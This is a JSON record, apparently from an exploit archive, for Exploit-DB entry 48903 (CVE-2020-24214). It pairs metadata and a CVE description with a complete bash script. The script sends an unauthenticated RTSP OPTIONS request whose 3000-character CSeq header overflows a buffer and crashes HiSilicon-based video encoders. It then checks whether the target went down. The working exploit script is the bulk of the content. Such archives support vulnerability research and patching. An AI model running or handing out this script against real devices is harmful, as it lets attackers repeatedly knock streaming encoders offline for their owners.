{"exploit":{"id":"EDB-48903","name":"HiSilicon Video Encoders - Unauthenticated RTSP Buffer Overflow Denial of Service (DoS)","description":"HiSilicon Video Encoders - Unauthenticated RTSP Buffer Overflow Denial of Service (DoS)","cves":["CVE-2020-24214"],"author":"Alexei Kojenov","published":"2020-10-19","platform":"hardware","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48903","path":"exploits/hardware/webapps/48903.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48903.sh","vulnerabilities":[{"id":"CVE-2020-24214","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in the box application on HiSilicon based IPTV/H.264/H.265 video encoders. Attackers can send a crafted unauthenticated RTSP request to cause a buffer overflow and application crash. The device will not be able to perform its main purpose of video encoding and streaming for up to a minute, until it automatically reboots. Attackers can send malicious requests once a minute, effectively disabling the device.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-24214","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-24214"},"updatedAt":"2024-08-04T15:12:08.326Z","retrievedAt":"2026-11-26T03:59:23.241Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48903.png?v=2","url":"https://exploitbin.com/exploits/EDB-48903","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48903/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48903/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env bash\n\n# Exploit Title: HiSilicon video encoders - unauthenticated RTSP buffer overflow (DoS)\n# Date: 2020-09-20\n# Exploit Author: Alexei Kojenov\n# Vendor Homepage: multiple vendors\n# Software Link: N/A\n# Version: vendor-specific\n# Tested on: Linux\n# CVE: CVE-2020-24214\n# Vendors: URayTech, J-Tech Digital, ProVideoInstruments\n# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/\n# Reference: https://www.kb.cert.org/vuls/id/896979\n\n\nif [ \"$#\" -ne 2 ]\nthen\n  echo \"usage: $0 <server> <RTSP port>\"\n  exit 1\nfi\n\nserver=$1\nport=$2\n\nprintf \"checking the target... \"\ntimeout 2 curl -s rtsp://$server:$port \\\n  || { echo \"ERROR: no RTSP server found at $server:$port\"; exit 2; }\nprintf \"RTSP server detected\\n\"\n\ncseq=$(printf \"0%0.s\" {1..3000})\n\nprintf \"sending the payload... \"\nprintf \"OPTIONS /0 RTSP/1.0\\nCSeq: %s\\n\\n\" $cseq | telnet $server $port >/dev/null 2>&1\nprintf \"done\\n\"\n\nsleep 1\nprintf \"checking the target again... \"\nif timeout 2 curl -s rtsp://$server:$port\nthen\n  echo \"ERROR: the RTSP server still seems to be running :(\"\nelse\n  echo \"SUCCESS: the server is down\"\nfi","sha256":"79a16e0457289cd262bb8b27ac38121df225923764c824b3a9fac73a42a7b0f0","bytes":1118,"fetchedAt":"2026-11-27T02:10:17.512Z","encoding":"utf-8 (display only; download retains original bytes)"}